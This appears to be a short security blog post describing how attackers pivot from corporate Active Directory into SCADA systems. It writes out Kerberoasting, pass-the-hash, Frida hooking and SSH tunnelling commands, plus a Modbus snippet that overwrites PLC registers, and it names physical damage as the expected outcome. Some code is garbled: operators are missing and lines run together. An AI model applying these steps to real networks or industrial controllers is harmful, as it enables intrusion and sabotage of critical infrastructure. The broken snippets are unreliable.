Critical infrastructure systems often rely on Supervisory Control and Data Acquisition (SCADA) software, which can become a prime target for attackers. In this engagement, we demonstrate how adversaries can pivot from corporate networks to critical infrastructure by exploiting Active Directory (AD) misconfigurations and reverse engineering SCADA applications.

You Should Know:
1. Exploiting AD Misconfigurations
Attackers often exploit weak AD configurations to move laterally. Key commands and techniques include:
- BloodHound Enumeration:
sudo neo4j start bloodhound --no-sandbox
This helps visualize attack paths in AD.
- Kerberoasting:
GetUserSPNs.py -request -dc-ip <DC_IP> DOMAIN/USER
Extracts service account hashes for offline cracking.
- Pass-the-Hash (PtH):
crackmapexec smb <TARGET_IP> -u <USER> -H <NTLM_HASH> --local-auth
2. Reverse Engineering SCADA Software
SCADA applications often lack proper security controls. Key steps in reverse engineering:
- Static Analysis with Ghidra:
ghidraRun
Analyze firmware or binaries for hardcoded credentials.
- Dynamic Analysis with Frida:
frida-trace -i "recv" -i "send" <SCADA_PROCESS>
Hooks into SCADA processes to monitor network traffic.
- Exploiting Memory Corruption:
import struct buf = b"A" 500 Buffer overflow payload with open("exploit.bin", "wb") as f: f.write(buf)
3. Pivoting to Critical Infrastructure
Once inside the network, attackers use:
- SSH Tunneling for Lateral Movement:
ssh -L 8080:<INTERNAL_IP>:80 user@jumpbox
- Modbus Protocol Exploitation:
from pymodbus.client import ModbusTcpClient client = ModbusTcpClient('<PLC_IP>') client.write_register(0, 0xFFFF) Manipulate PLC registers
What Undercode Say:
Critical infrastructure remains a high-value target due to legacy systems and weak security practices. Organizations must:
– Patch SCADA systems and segment networks.
– Monitor AD misconfigurations using tools like BloodHound.
– Implement strict access controls for ICS/OT environments.
Expected Output:
A compromised SCADA system allowing unauthorized control over industrial processes, leading to potential physical damage.
Prediction:
As OT/IT convergence grows, SCADA-focused attacks will rise, requiring stronger zero-trust policies and firmware integrity checks.
